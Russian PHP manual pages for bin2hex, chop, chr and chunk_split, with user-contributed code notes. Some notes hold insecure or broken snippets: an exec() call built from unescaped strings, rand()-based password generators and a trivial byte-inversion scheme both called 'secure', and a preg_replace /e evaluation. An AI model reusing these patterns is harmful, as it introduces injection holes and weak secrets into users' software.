Remember to slash underscores (_) and percent signs (%), too, if you're going use the LIKE operator on the variable or you'll get some unexpected results.


Преобразовывает двоичные данные в шестнадцатеричное представление

  • « addslashes
  • chop »
  • PHP Manual
  • Функции для работы со строками
  • Преобразовывает двоичные данные в шестнадцатеричное представление

bin2hex

(PHP 4, PHP 5, PHP 7, PHP 8)

bin2hex — Преобразовывает двоичные данные в шестнадцатеричное представление

Описание

bin2hex(string $string): string

Функция возвращает ASCII-строку, которая содержит шестнадцатеричное представление аргумента string. Преобразование выполняется побайтно, начиная со старшего полубайта.

Список параметров

string

Строка.

Возвращаемые значения

Функция возвращает шестнадцатеричное представление строки.

Примеры

Пример #1 Пример использования функции bin2hex()

<?php

$hex = bin2hex('Hello world!');

var_dump($hex);
var_dump(hex2bin($hex));

?>

Результат выполнения приведённого примера:

string(24) "48656c6c6f20776f726c6421"
string(12) "Hello world!"

Смотрите также

  • hex2bin() - Преобразовывает шестнадцатеричные данные в двоичные
  • pack() - Упаковывает данные в двоичную строку

User Contributed Notes

busuioc dot alexandru at gmail dot com 21-Mar-2019 03:43
Convenient way of generating API keys

<?php
$apikey = bin2hex(random_bytes(32)); // generates 64 characters long string /^[0-9a-f]{64}$/
?>
subdivizion at gmail dot com 18-Sep-2009 05:19
Here's a function to check if a string contains any 7-bit GSM characters.

It might come useful for people working on SMS platforms.

<?php

function check_gsm($str)
{
    $arr = array(
"0x00", "0x01", "0x02", "0x03", "0x04", "0x05","0x06","0x07","0x08","0x09",
"0x0A","0x0B","0x0C","0x0D","0x0E","0x0F","0x10","0x11","0x12","0x13",
"0x14","0x15","0x16","0x17","0x18","0x19","0x1A","0x1B","0x1B0A",
"0x1B14","0x1B28","0x1B29","0x1B2F","0x1B3C","0x1B3D","0x1B3E",
"0x1B40","0x1B65","0x1C","0x1D","0x1E","0x1F","0x20","0x21","0x22",
"0x23","0x24","0x25","0x26","0x27","0x28","0x29","0x2A","0x2B","0x2C",
"0x2D","0x2E","0x2F","0x30","0x31","0x32","0x33","0x34","0x35","0x36",
"0x37","0x38","0x39","0x3A","0x3B","0x3C","0x3D","0x3E","0x3F","0x40",
"0x41","0x42","0x43","0x44","0x45","0x46","0x47","0x48","0x49","0x4A",
"0x4B","0x4C","0x4D","0x4E","0x4F","0x50","0x51","0x52","0x53","0x54",
"0x55","0x56","0x57","0x58","0x59","0x5A","0x5B","0x5C","0x5D","0x5E",
"0x5F","0x60","0x61","0x62","0x63","0x64","0x65","0x66","0x67","0x68",
"0x69","0x6A","0x6B","0x6C","0x6D","0x6E","0x6F","0x70","0x71","0x72",
"0x73","0x74","0x75","0x76","0x77","0x78","0x79","0x7A","0x7B","0x7C",
"0x7D","0x7E","0x7F");

    $strl = strlen($str);
    for ($i = 0;$i < $strl; $i++)
    {
        $char = '0x' . bin2hex(substr($str,$i,1));
        $pos = in_array($char,$arr);
        if ($pos == 1)
        {
            $j++;
        }
    }

    if ($j < $strl)
    {
        return false;
    }
    else
    {
        return true;
    }
}
?>
tehjosh at gamingg dot net 11-Aug-2007 11:35
This function is for converting binary data into a hexadecimal string representation.  This function is not for converting strings representing binary digits into hexadecimal.  If you want that functionality, you can simply do this:

<?php
$binary = "11111001";
$hex = dechex(bindec($binary));
echo $hex;
?>

This would output "f9".  Just remember that there is a very big difference between binary data and a string representation of binary.
j_lozinskit at yahoo dot co dot uk 24-Nov-2004 05:11
A good option for creating strings with binary data for saving (for example saving an sql statement to a file) into text files or php code is to do the following:

<?php
$field=bin2hex($field);
$field=chunk_split($field,2,"\\x");
$field= "\\x" . substr($field,0,-2);
?>

this will convert your field (binary or not) into hex and then convert the hex into a string which may be placed in a php file:

FFFFFFFF -> \xFF\xFF\xFF\xFF
tightcode at hotmail dot com 25-Aug-2001 08:05
I was just browsing the above and with a little modification,
came up with the following which I believe to be more flexible:

<?php
function bin2hex($data) {
    $corrected = ereg_replace("[^0-9a-fA-F]","",$data);
    return pack("H".strlen($corrected),$corrected);
}
?>

This will make sure that whatever you pass, even if it is padded
at the extremeties or between pairs, should return the desired data.
pedram at redhive dot com 31-Jan-2001 05:21
In an attempt to dodge spam bots I've seen people (including myself) hex encode their email addresses in "mailto" tags. This is the small chunk of code I wrote to automate the process:

<?php
function hex_encode ($email_address)    {
        $encoded = bin2hex("$email_address");
        $encoded = chunk_split($encoded, 2, '%');
        $encoded = '%' . substr($encoded, 0, strlen($encoded) - 1);
        return $encoded;
}
?>

so for example:
<a href="mailto:&lt;?=hex_encode("pedram@redhive.com")?>">email me</a>

would produce the following address:
%70%65%64%72%61%6d%40%72%65%64%68%69%76%65%2e%63%6f%6d

-pedram


Псевдоним rtrim

  • « bin2hex
  • chr »
  • PHP Manual
  • Функции для работы со строками
  • Псевдоним rtrim

chop

(PHP 4, PHP 5, PHP 7, PHP 8)

chop — Псевдоним rtrim()

Описание

Псевдоним функции rtrim().

Примечания

Замечание:

Действие функции chop() отличается от одноимённой функции chop() в языке Perl, которая удаляет последний символ строки.

User Contributed Notes

JumpIfBelow 11-Aug-2015 09:46
If you are searching for a function that does the same trick as chop in PERL, then you should just do the following code:
<?php
   $str = substr($str, 0, -1);
?>

The question is: why isn't chop() an alias of the code above, rather than something which will trap developpers?
Kubo2 11-Apr-2015 10:30
Rather use rtrim(). Usage of chop() is not very clear nor consistent for people reading the code after you.
krkbpk at gmail dot com RamaKrishna Kothamasu 08-Feb-2013 01:20
//simple example function for chop()
<?php
echo "<pre>";//without <pre> you cann't see desired output in your browser
echo chop("   Ramki   ");//right spaces are eliminated
echo chop("Ramkrishna", "a..z");
echo "</pre>";
?>
/*output
  ------
  RamkiR*/
rahuls8730 at gmail dot com 17-May-2009 11:03
Definition and Usage

The chop() function will remove a white space or other predefined character from the right end of a string.

This function is an alias of the rtrim() function.
Syntax
chop(string,charlist)

Parameter     Description
string     Required. Specifies the string to check
charlist     Optional. Specifies which characters to remove from the string.
The following characters are allowed and is set to be removed if the charlist parameter is empty:

    * "\0" - ASCII 0, NULL
    * "\t" - ASCII 9, a tab
    * "\n" - ASCII 10, a new line
    * "\x0B" - ASCII 11, a vertical tab.
    * "\r" - ASCII 13, a carriage return
    * " " - ASCII 32, an ordinary white space
anon at mailinator dot com 11-May-2007 01:06
Another possible one would be to use this:

<?php
function chup(){

$ar=Array();

foreach(func_get_args() as $b) {

push($ar,$b[strlen($b)-1]);

&$b[strlen($b)-1]='';

  }

return $ar;

 }
?>

If you wanted to perl-chop a va list of strings and return the removed chars. Obviously you can easily mod it for va list arrays of strings and the like.


Генерирует односимвольную строку по заданному числу

  • « chop
  • chunk_split »
  • PHP Manual
  • Функции для работы со строками
  • Генерирует односимвольную строку по заданному числу

chr

(PHP 4, PHP 5, PHP 7, PHP 8)

chr — Генерирует односимвольную строку по заданному числу

Описание

chr(int $codepoint): string

Возвращает строку из одного символа, код которого задан аргументом codepoint, который интерпретируется как беззнаковое целое (unsigned integer).

Может использоваться для создания строки из одного символа однобайтовой кодировки, например, такой как ASCII, ISO-8859 или Windows 1252, путём указания позиции этого символа в таблице кодировки. Данная функция не подходит для генерации односимвольной строки в многобайтовых кодировках, таких как UTF-8 или UTF-16.

Эта функция дополняет функцию ord().

Список параметров

codepoint

Целое число от 0 до 255.

Значения за пределом диапазона (0..255) должны быть побитово сложены (побитовое И) с 255, что соответствует такому алгоритму:

while ($bytevalue < 0) {
$bytevalue += 256;
}
$bytevalue %= 256;

Возвращаемые значения

Возвращает строку из одного символа, содержащую заданный байт.

Список изменений

Версия | Описание
7.4.0 | Функция больше не принимает неподдерживаемые значения в параметре codepoint и преобразовывает их в 0.

Примеры

Пример #1 Пример использования chr()

<?php
// Предполагается, что строка будет использовака как ASCII или ASCII-совместимая

$str = "Эта строка заканчивается на escape: ";
$str .= chr(27); /* добавляет символ escape в конец $str */

/* Но обычно лучше использовать такую конструкцию */

$str = sprintf("Эта строка заканчивается на escape: %c", 27);
?>

Пример #2 Поведение при переполнении

<?php
echo chr(-159), chr(833), PHP_EOL;
?>

Результат выполнения приведённого примера:

aA

Пример #3 Создание строки UTF-8 из индивидуальных байтов

<?php
$str = chr(240) . chr(159) . chr(144) . chr(152);
echo $str;
?>

Результат выполнения приведённого примера:

??

Смотрите также

  • Описание формата %c функции sprintf() - Возвращает отформатированную строку
  • ord() - Конвертирует первый байт строки в число от 0 до 255
  • » Таблица ASCII-кодов
  • mb_chr() - Возвращает символ по значению кодовой точки Unicode
  • IntlChar::chr() - Получить символ Unicode по его коду

User Contributed Notes

Noname 22-Jan-2022 03:53
<?php

for ($i = 128; $i <= 191; $i++) {
    $str = chr(240) . chr(159) . chr(144) . chr($i);
    echo $str;
}

?>
gfour 11-Aug-2019 05:29
I was looking for a simple method to construct excel like column identifiers e.g: A B .... AA AB AC etc, using chr() and modulo, but there is magic...
https://www.php.net/manual/en/language.operators.increment.php

So, this also works
<?php
$p = chr(65);      // or simply $p = 'A';
for ($i = 1; $i < 53; $i++){
    echo $p++ . " - ";
    if ($i % 10 == 0) echo '</br>';
}
?>

Gives
A - B - C - D - E - F - G - H - I - J -
K - L - M - N - O - P - Q - R - S - T -
U - V - W - X - Y - Z - AA - AB - AC - AD -
AE - AF - AG - AH - AI - AJ - AK - AL - AM - AN -
AO - AP - AQ - AR - AS - AT - AU - AV - AW - AX -
AY - AZ -
Ray.Paseur sometimes uses Gmail 28-Jan-2019 08:47
I needed to generate an invalid UTF-8 character for testing with JSON.  This did the trick:

<?php
echo 'Bogus UTF-8 character at end' . chr(0xC6) ;
ibaid at mail dot ru 28-Mar-2018 05:20
string mb_chr ( int $cp [, string $encoding ] )
Parameter List:
cp - character code (in decimal notation)
encoding - encoding (UTF-8, ASCII and so on)

We get the letter 'Ж'  from the encoding UTF-8:

$sim = mb_chr(0x0416, 'UTF-8');
echo $sim; // Ж

Get the character '}' from the encoding ASCII:

$sim = mb_chr(125, 'ASCII');
echo $sim ; // }
vitkorob 09-Feb-2016 01:01
Another quick function to get unicode char by its code.

<?php

function unichr($dec)
{
  if ($dec < 0x80)
  {
    $utf = chr($dec);
  }
  else if ($dec < 0x0800)
  {
    $utf = chr(0xC0 + ($dec >> 6));
    $utf .= chr(0x80 + ($dec & 0x3f));
  }
  else if ($dec < 0x010000)
  {
    $utf = chr(0xE0 + ($dec >> 12));
    $utf .= chr(0x80 + (($dec >> 6) & 0x3f));
    $utf .= chr(0x80 + ($dec & 0x3f));
  }
  else if ($dec < 0x200000)
  {
    $utf = chr(0xF0 + ($dec >> 18));
    $utf .= chr(0x80 + (($dec >> 12) & 0x3f));
    $utf .= chr(0x80 + (($dec >> 6) & 0x3f));
    $utf .= chr(0x80 + ($dec & 0x3f));
  }
  else
  {
    die("UTF-8 character size is more than 4 bytes");
  }

  return $utf;
}

echo unichr(0x263A);

?>
synnus at gmail dot com 10-Sep-2015 08:34
// rivencodec 1.0
// encode riverse ascii 1 simple function can encode/decode
// can use it for secure source with speed encode text

<?php

    function rivencodec($ch,$a=0) {
        while((@$b = $ch[$a++])) { $ch[$a-1] = chr(255-ord($b)); }
        return $ch;
    }

$zz = rivencodec("abcdefghijklmn");
echo 'encode: ',$zz,'<br/>',PHP_EOL;

$yy = rivencodec($zz);
echo 'decode: ',$yy,'<br/>',PHP_EOL;

?>
lingtalfi - at - somewhere 13-Jun-2015 06:09
It seems that php uses the table from here: http://ascii-code.com/
(and not from here: http://www.asciitable.com/ as suggested in the documentation) for codes from 128 to 255.

<?php
for ($i = 32; $i <= 255; $i++) {
    echo chr($i);
}
?>
v14t at gmx dot com 01-Apr-2014 05:58
argument is automatically converted to integer, so chr('65') and chr(65) would both output the letter A
darek at module17 dot com 07-Mar-2013 07:45
Simple password generation function using sprintf and the %c type specifier; which is the same as chr().

function genPass($len = 8) {
    for ($i=0;$i<=$len;$i++) {
        $passwd = sprintf('%s%c', isset($passwd) ? $passwd : NULL, rand(48, 122));
    }
    return $passwd;
}
gjarrige at six-axe dot fr 01-Mar-2012 09:47
to remove the ASCII control characters (except "line feed" and "tab") :

$tab_chr = array() ;
for($control = 0; $control < 32; $control++) {
    if ($control != 9 && $control != 10) {
        $tab_chr[]= chr($control) ;
    }
}
$tab_chr[]= chr(127) ;
$string = str_replace($tab_chr, '', $string);
mailderemi at gmail dot com 04-Feb-2011 08:17
Here is a sample of encoding and decoding using "chr" and "ord".
<?php
    function Encode($txtData,$Level){
        for ($j = 0;$j<$Level;$j++){
            $tmpStr = '';
            for ($i = 0;$i<strlen($txtData);$i++)
                $tmpStr .= ord(substr(strtoupper($txtData), $i, 1));
            $txtData = $tmpStr;
        }
        return (strlen($Level)).$Level.$txtData;
    }

    function Decode($txtData){
        $intLevel = substr($txtData, 1, substr($txtData, 0, 1));
        $startStr = substr($txtData, substr($txtData, 0, 1)+1, strlen($txtData));
        for ($j = 0;$j<$intLevel;$j++){
            for ($i = 0;$i<strlen($startStr);$i+=2)
                $tmpStr .= chr(intval(substr($startStr, $i, 2)));
            $startStr = $tmpStr;

            $tmpStr = "";
        }
        return $startStr;
    }

echo Encode('123',4).'<br>';
echo Decode(Encode('123',5));
?>
sinfocol at sinfocol dot org 30-Jun-2009 02:38
The function chr() also accepts negative numbers as an ascii code, so chr(-number) is equal to chr((number%256)+256).
And for ascii code higher than 255 is chr(number%256)

We can test with a little script
<?php
    for($i=-300; $i<300; $i++){
        echo "Ascii $i\t" . ord(chr($i)) . "\n";
    }
?>
voromax 31-Jan-2009 07:39
Another quick and short function to get unicode char by its code.

<?php
/**
 * Return unicode char by its code
 *
 * @param int $u
 * @return char
 */
function unichr($u) {
    return mb_convert_encoding('&#' . intval($u) . ';', 'UTF-8', 'HTML-ENTITIES');
}
?>
scott at quinlan dot co dot nz 20-Oct-2008 09:51
Secure password generator with a variable maximum amount of symbols.

<?php

function passwdGen($minLength = 8, $maxLength = 12, $maxSymbols = 2)
{
    $symbolCount = 0;

    srand((double)microtime() * 1000003);

    for ($i = 0; $i < rand($minLength, $maxLength); $i++)
    {
        do
        {
            $char = rand(33, 126);

            $symbolCount += $isSymbol = (!in_array($char, range(48, 57)) && !in_array($char, range(65, 90)) && !in_array($char, range(97, 122)));

            if ($symbolCount <= $maxSymbols || !$isSymbol)
            {
                break;
            }
        }
        while (true);

        $passwd = sprintf('%s%c', isset($passwd) ? $passwd : NULL, $char);
    }

    return $passwd;
}

?>
Josh B. 12-Aug-2008 02:06
In addition to replacing Microsoft Windows smart quotes, as sgaston demonstrated on 2006-02-13, I replace all other Microsoft Windows characters using suggestions[1] published by character code specialist[2] Jukka Korpela.

<?php
$str = str_replace(chr(130), ',', $str);    // baseline single quote
$str = str_replace(chr(131), 'NLG', $str);  // florin
$str = str_replace(chr(132), '"', $str);    // baseline double quote
$str = str_replace(chr(133), '...', $str);  // ellipsis
$str = str_replace(chr(134), '**', $str);   // dagger (a second footnote)
$str = str_replace(chr(135), '***', $str);  // double dagger (a third footnote)
$str = str_replace(chr(136), '^', $str);    // circumflex accent
$str = str_replace(chr(137), 'o/oo', $str); // permile
$str = str_replace(chr(138), 'Sh', $str);   // S Hacek
$str = str_replace(chr(139), '<', $str);    // left single guillemet
$str = str_replace(chr(140), 'OE', $str);   // OE ligature
$str = str_replace(chr(145), "'", $str);    // left single quote
$str = str_replace(chr(146), "'", $str);    // right single quote
$str = str_replace(chr(147), '"', $str);    // left double quote
$str = str_replace(chr(148), '"', $str);    // right double quote
$str = str_replace(chr(149), '-', $str);    // bullet
$str = str_replace(chr(150), '-', $str);    // endash
$str = str_replace(chr(151), '--', $str);   // emdash
$str = str_replace(chr(152), '~', $str);    // tilde accent
$str = str_replace(chr(153), '(TM)', $str); // trademark ligature
$str = str_replace(chr(154), 'sh', $str);   // s Hacek
$str = str_replace(chr(155), '>', $str);    // right single guillemet
$str = str_replace(chr(156), 'oe', $str);   // oe ligature
$str = str_replace(chr(159), 'Y', $str);    // Y Dieresis
?>

[1] On the use of some MS Windows characters in HTML
http://www.cs.tut.fi/~jkorpela/www/windows-chars.html

[2] Unicode Explained by Jukka Korpela
http://www.amazon.com/dp/059610121X/
darkodemon at gmail dot com 27-Apr-2007 04:33
chr() with unicode support

<?php

function uchr ($codes) {
    if (is_scalar($codes)) $codes= func_get_args();
    $str= '';
    foreach ($codes as $code) $str.= html_entity_decode('&#'.$code.';',ENT_NOQUOTES,'UTF-8');
    return $str;
}

echo uchr(23383); echo '<br/>';
echo uchr(23383,215,23383); echo '<br/>';
echo uchr(array(23383,215,23383,215,23383)); echo '<br/>';

?>
grey - greywyvern - com 19-Aug-2005 07:55
I spent hours looking for a function which would take a numeric HTML entity value and output the appropriate UTF-8 bytes.  I found this at another site and only had to modify it slightly; so I don't take credit for this.

<?php function unichr($dec) {
  if ($dec < 128) {
    $utf = chr($dec);
  } else if ($dec < 2048) {
    $utf = chr(192 + (($dec - ($dec % 64)) / 64));
    $utf .= chr(128 + ($dec % 64));
  } else {
    $utf = chr(224 + (($dec - ($dec % 4096)) / 4096));
    $utf .= chr(128 + ((($dec % 4096) - ($dec % 64)) / 64));
    $utf .= chr(128 + ($dec % 64));
  }
  return $utf;
} ?>

So for example:

<?php

  $str = "Chinese: &#20013;&#25991;";
  $str = preg_replace("/&#(\d{2,5});/e", "unichr($1);", $str);

?>
tenyou at gmail dot com 14-Jul-2004 11:05
When having to deal with parsing an IIS4 or IIS5 metabase dump I wrote a simple function for converting those MS hexidecimal values into their ascii counter parts. Hopefully someone will find use for it.

<?php
function hex_decode($string)  {
        for ($i=0; $i < strlen($string); $i)  {
        $decoded .= chr(hexdec(substr($string,$i,2)));
        $i = (float)($i)+2;
        }
return $decoded;
}
?>
perrodin at laposte dot net 11-Apr-2004 04:20
Note that if the number is higher than 256, it will return the number mod 256.
For example :
chr(321)=A because A=65(256)
Kristin 06-Mar-2003 08:19
Note that chr(10) is a 'line feed' and chr(13) is a 'carriage return' and they are not the same thing! I found this out while attempting to parse text from forms and text files for inclusion as HTML by replacing all the carriage returns with <BR>'s only to find after many head-scratchings that I should have been looking for line feeds. If anyone can shed some light on what the difference is, please do.

If you're planning on saving text from a form into a database for later display, you'll need to apply the following function so that it gets saved with the proper HTML tags.

<?php
$text = str_replace ( chr(10), "<BR>", $text );
?>

When you want to plug it back into that form for editing you need to convert it back.

<?php
$text = str_replace ( "<BR>", chr(10), $text)
?>

Hope this saves somebody some trouble. :)
joeldegan AT yahoo.com 14-Dec-2002 02:53
Want terminal colors in command line php scripts?

This should take care of that.
<?

$_colors = array(
        'LIGHT_RED'      => "[1;31m",
        'LIGHT_GREEN'     => "[1;32m",
        'YELLOW'     => "[1;33m",
        'LIGHT_BLUE'     => "[1;34m",
        'MAGENTA'     => "[1;35m",
        'LIGHT_CYAN'     => "[1;36m",
        'WHITE'     => "[1;37m",
        'NORMAL'     => "[0m",
        'BLACK'     => "[0;30m",
        'RED'         => "[0;31m",
        'GREEN'     => "[0;32m",
        'BROWN'     => "[0;33m",
        'BLUE'         => "[0;34m",
        'CYAN'         => "[0;36m",
        'BOLD'         => "[1m",
        'UNDERSCORE'     => "[4m",
        'REVERSE'     => "[7m",

);

function termcolored($text, $color="NORMAL", $back=1){
    global $_colors;
    $out = $_colors["$color"];
    if($out == ""){ $out = "[0m"; }
    if($back){
        return chr(27)."$out$text".chr(27).chr(27)."[0m".chr(27);
    }else{
        echo chr(27)."$out$text".chr(27).chr(27)."[0m".chr(27);
    }//fi
}// end function

echo termcolored("test\n", "BLUE");
?>
happyevil(at)1218.org 26-Mar-2001 07:31
Here is a function that's help me find what chr(number) outputs what character quicker than typing out 256 echo tags.

<?php
 function listChr(){
  for ($i = 0; $i < 256; ++$i) {
  static $genNum;
  $genNum++;
  echo "chr($genNum) will output '";
  echo (chr($genNum));
  echo "'< br>\n";
  }
}
listChr();
?>

Another helpful chr is #9, being a tab.  Quite using when making error logs.

 $tab = (chr(9));
 echo "<pre>error{$tab}date{$tab}time</pre>";

 -- HappyEvil
ddawsonNOSPAM at execpc dot com 09-May-2000 04:59
[Editor's note:

%c is defined as: "Print the character belonging to the ascii code given"

chr() just gives a string, so you need to use %s, even if the string consists of only one character. This is consistent with other languages.
--Jeroen@php.net]

Learn from my mistake:
Do not expect this to work!

<?php
$c_question = chr(63);
$v_out = sprintf("<%cphp\n", $c_question);
//... more stuff being sprintf'd into v_out here ...
$v_out = sprintf("%s%c>\n", $v_out, $c_question);
$v_fp = fopen("foofile", "w");
if ($v_fp)
{
     fwrite($v_fp, $v_out, strlen($v_out));
     fclose($v_fp);
}
?>

When I did this, foofile contained <NUL NUL NUL NUL NUL>.
I spun my wheels quite awhile looking at fputs, fwrite to verify I was calling those functions correctly.
My mistake was using $c_question = chr(63) instead of
$c_question = 63 (correct).  Then everything worked fine.


Разбивает строку на фрагменты

  • « chr
  • convert_cyr_string »
  • PHP Manual
  • Функции для работы со строками
  • Разбивает строку на фрагменты

chunk_split

(PHP 4, PHP 5, PHP 7, PHP 8)

chunk_split — Разбивает строку на фрагменты

Описание

chunk_split(string $string, int $length = 76, string $separator = "\r\n"): string

Функция используется для разбиения строки на фрагменты, например, для приведения результата функции base64_encode() в соответствие с требованиями RFC 2045. Она вставляет строку separator после каждых length символов.

Список параметров

string

Разбиваемая строка.

length

Длина фрагмента.

separator

Последовательность символов, используемая в качестве конца строки.

Возвращаемые значения

Возвращает преобразованную строку.

Примеры

Пример #1 Пример использования chunk_split()

<?php
// форматирование данных в соответствии с RFC 2045
$new_string = chunk_split(base64_encode($data));
?>

Смотрите также

  • str_split() - Преобразовывает строку в массив
  • explode() - Разбивает строку разделителем
  • wordwrap() - Переносит строку по указанному количеству символов
  • » RFC 2045

User Contributed Notes

chris at ocproducts dot com 24-Apr-2017 07:48
The description of the function is slightly inaccurate. A trailing $end is also added.
vijit at mail dot ru 23-Feb-2016 06:22
As an alternative for  qeremy [atta] gmail [dotta] com
There is much shorter way for binarysafe chunking of multibyte string:

<?php
function word_chunk($str, $len = 76, $end = "\n") {
    $pattern = '~.{1,' . $len . '}~u'; // like "~.{1,76}~u"
    $str = preg_replace($pattern, '$0' . $end, $str);
    return rtrim($str, $end);
}

$str = 'русский';
echo chunk_split($str, 3) ."\n";
echo word_chunk($str, 3) . "\n";
?>

р?
?с
с?
?и
й

рус
ски
й
Anonymous 19-Feb-2014 01:57
Important note is the maximum line length and the recommended one. The standard says:
"Lines in a message MUST be a maximum of 998 characters excluding the CRLF, but it is RECOMMENDED that lines be limited to 78 characters excluding the CRLF. "

See PHP manual for chunk_split() Which is set to 76 characters long chunk and "\r\n" at the end of line by default.
qeremy [atta] gmail [dotta] com 28-Feb-2012 03:35
An alternative for unicode strings;

<?php
function chunk_split_unicode($str, $l = 76, $e = "\r\n") {
    $tmp = array_chunk(
        preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY), $l);
    $str = "";
    foreach ($tmp as $t) {
        $str .= join("", $t) . $e;
    }
    return $str;
}

$str = "Yar?m kilo cay, yar?m kilo seker";
echo chunk_split($str, 4) ."\n";
echo chunk_split_unicode($str, 4);
?>

Yar?
?m k
ilo
cay
, ya
r?m
 kil
o s
eker

Yar?
m ki
lo c
ay,
yar?
m ki
lo s
eker
belal dot nabeh at gmail dot com 10-Aug-2010 08:02
If you are using UTF-8 charset you will face a problem with Arabic language
to solve this problem i used this function

<?php
function chunk_split_($text,$length,$string_end)
{
    $text = iconv("UTF-8","windows-1256",$text);
    $text = str_split($text);
    foreach($text as $val)
    {
        if($a !== $val)
        {
            $a = $val;
            $x = 0;
        }else{
            $a = $val;
            $x++;
        }
        if($x > $length)
        {
            $new_text .= $val.$string_end;
            $x = 0;
        }else
        {
             $new_text .= $val;
        }

    }
    $new_text = iconv("windows-1256","UTF-8",$new_text);
    return $new_text;
}
?>
Peter from dezzignz.com 05-Apr-2010 04:30
chunk_split() is not multibyte safe. If you ever run into needing the function that is multibyte safe, here you go:

<?php

function mbStringToArray ($str) {
    if (empty($str)) return false;
    $len = mb_strlen($str);
    $array = array();
    for ($i = 0; $i < $len; $i++) {
        $array[] = mb_substr($str, $i, 1);
    }
    return $array;
}

function mb_chunk_split($str, $len, $glue) {
    if (empty($str)) return false;
    $array = mbStringToArray ($str);
    $n = 0;
    $new = '';
    foreach ($array as $char) {
        if ($n < $len) $new .= $char;
        elseif ($n == $len) {
            $new .= $glue . $char;
            $n = 0;
        }
        $n++;
    }
    return $new;
}

?>
dampee at earthlink dot net 20-Nov-2009 09:10
I've found this quite useful for simulating various kinds of shuffles with cards.  It is humorous but can imitate multiple deck cuts and other (imperfectly) random events.

<?php
function truffle_shuffle($body, $chunklen = 76, $end = "\r\n")
{
     $chunk = chunk_split($body, $chunklen, "-=blender=-");
     $truffle = explode("-=blender=-",$chunk);
     $shuffle = shuffle($truffle);
     $huknc = implode($end,$shuffle);
     return $huknc;
}
?>
tim at weird spots in my crotch dot com 08-May-2008 02:29
@Royce

I think this is better, since you can still use the ampersand in your text:

<?php
function HtmlEntitySafeSplit($html,$size,$delim)
{
  $pos=0;
  for($i=0;$i<strlen($html);$i++)
  {
    if($pos >= $size && !$unsafe)
    {
      $out.=$delim;
      $unsafe=0;
      $pos=0;
    }
    $c=substr($html,$i,1);
    if($c == "&")
      $unsafe=1;
    elseif($c == ";")
      $unsafe=0;
    elseif($c == " ")
      $unsafe=0;
    $out.=$c;
    $pos++;
  }
  return $out;
}
?>
neos at blizzz dot ru 03-May-2008 11:38
"version" of chunk_split for cyrillic characters in UTF-8

public function UTFChunk($Text,$Len = 10,$End = "\r\n")
{
    if(mb_detect_encoding($Text) == "UTF-8")
    {
        return mb_convert_encoding(
                chunk_split(
                    mb_convert_encoding($Text, "KOI8-R","UTF-8"), $Len,$End
                ),
                "UTF-8", "KOI8-R"
            );
    } else
    {
        return chunk_split($Text,$Len,$End);
    }
}

this is example for russian language
Royce 16-Apr-2008 12:31
Here's a version of Chunk Split I wrote that will not split html entities. Useful if you need to inject something in html (in my case, <wbr/> tags to allow for long text wrapping).

<?php
function HtmlEntitySafeSplit($html,$size,$delim)
{
  $pos=0;
  for($i=0;$i<strlen($html);$i++)
  {
    if($pos >= $size && !$unsafe)
    {
      $out.=$delim;
      $unsafe=0;
      $pos=0;
    }
    $c=substr($html,$i,1);
    if($c == "&")
      $unsafe=1;
    elseif($c == ";")
      $unsafe=0;
    $out.=$c;
    $pos++;
  }
  return $out;
}
?>
mark [at] d0gz [dot] net 10-Apr-2007 10:12
When using ssmtp for simple command line mailing:

$mail_to = "destination@emailbox.com";
$msg = "this would be an actual base64_encoded gzip msg";
$date = date(r);
$mail  = "X-FROM: root@sender.org \n";
$mail .= "X-TO: ".$mail_to. " \n";
$mail .= "To: ".$mail_to. " \n";
$mail .= "Date: $date \n";
$mail .= "From: root@sender.org \n";
$mail .= "Subject: lifecheck \n";
$mail .= $msg." \n";
exec("echo '$mail' | /usr/sbin/ssmtp ".$mail_to);

be sure to invoke chunk_split() on your message body - ssmtp becomes unhappy with long lines and will subsequently trash  your message.
hansvane at yahoo dot com dot ar 21-Jan-2007 10:06
This function is very simple and many other functions make this on PHP 5 and even some ones in 4 the good think about this one is that work on php 3.0.6 and 4

function split_hjms_chars($xstr, $xlenint, $xlaststr)
{
    $texttoshow = chunk_split($xstr,$xlenint,"\r\n");
    $texttoshow  = split("\r\n",$texttoshow);
    $texttoshow = $texttoshow[0].$xlaststr;
    return $texttoshow;
}

// For use

echo split_hjms_chars("This is your text",6,"...");

// Will return

This i...

It is useful to cut long text on preview lists and if the server it's old.

Hope it helps some one. Hans Svane
chris AT w3style.co DOT uk 14-Aug-2006 12:32
I'm not sure what versions this also occurs in but the output of chunk_split() in PHP 5.0.4 does not match the output in other versions of PHP.

In all versions of PHP I have used, apart from 5.0.4 chunk_split() adds the separator (\r\n) to the end of the string.  But in PHP 5.0.4 this does not happen.  This had a fairly serious impact on a library I maintain so it may also affect others who are not aware of this.
xamine at gmail dot com 04-Jun-2006 11:06
In reply to "adrian at zhp dot inet dot pl" digit grouping function:
<?php
    $number = strrev(chunk_split (strrev($number), 3,' '));
    //If $number is '1234567', result is '1 234 567'.
?>

There is a much more simple way of doing this, by using the built-in number_format() function.

<?php
   $number = number_format($number,2,"."," ");

   //This will round $number to 2 decimals, use the dot (".")
   //as decimal point, and the space (" ") as thousand sepparator.

?>
kevin @t hyguard,com 03-Oct-2005 07:08
Not quite completely obvious, but...

you can un_chunk_split() by:

$long_str = str_replace( "\r\n", "", $chunked_str );
harish at thespitbox dot net 30-Jul-2005 05:45
another way to group thousands in a number, which is much simpler, is built into PHP :)

www.php.net/number_format
Kevin 25-Jun-2005 04:10
To phpkid:

This is a much simpler solution.

<?php
function longWordWrap($string) {
    $string = str_replace("\n", "\n ", $string); // add a space after newline characters, so that 2 words only seperated by \n are not considered as 1 word
    $words = explode(" ", $string); // now split by space
    foreach ($words as $word) {
        $outstring .= chunk_split($word, 12, " ") . " ";
    }
    return $outstring;
}
?>
phpkid 28-May-2005 10:47
Well I have been having issues with a shoutbox I am coding it would keep expanding the <TD> if there were large words in it but I fixed it with this:

function PadString($String){
    $Exploded = explode(" ", $String);
    $Max_Parts = count($Exploded);

    $CurArray = 0;
    $OutString = '';
    while($CurArray<=$Max_Parts)
    {
        $Peice_Size = strlen($Exploded[$CurArray]);
        if($Peice_Size>15)
        {
            $OutString .= chunk_split($Exploded[$CurArray], 12, " ");
            $CurArray++;
        } else {
            $OutString .= " ".$Exploded[$CurArray];
            $CurArray++;
        }
    }

    return $OutString;
}
mv@NOSPAM 24-Jan-2004 07:39
the best way to solve the problem with the last string added by chunk_split() is:

<?php
$string = '1234';
substr(chunk_split($string, 2, ':'), 0, -1);
// will return 12:34
?>
Danilo 10-Dec-2003 02:51
>> chunk_split will also add the break _after_ the last occurence.

this should be not the problem

substr(chunk_split('FF99FF', 2, ':'),0,8);
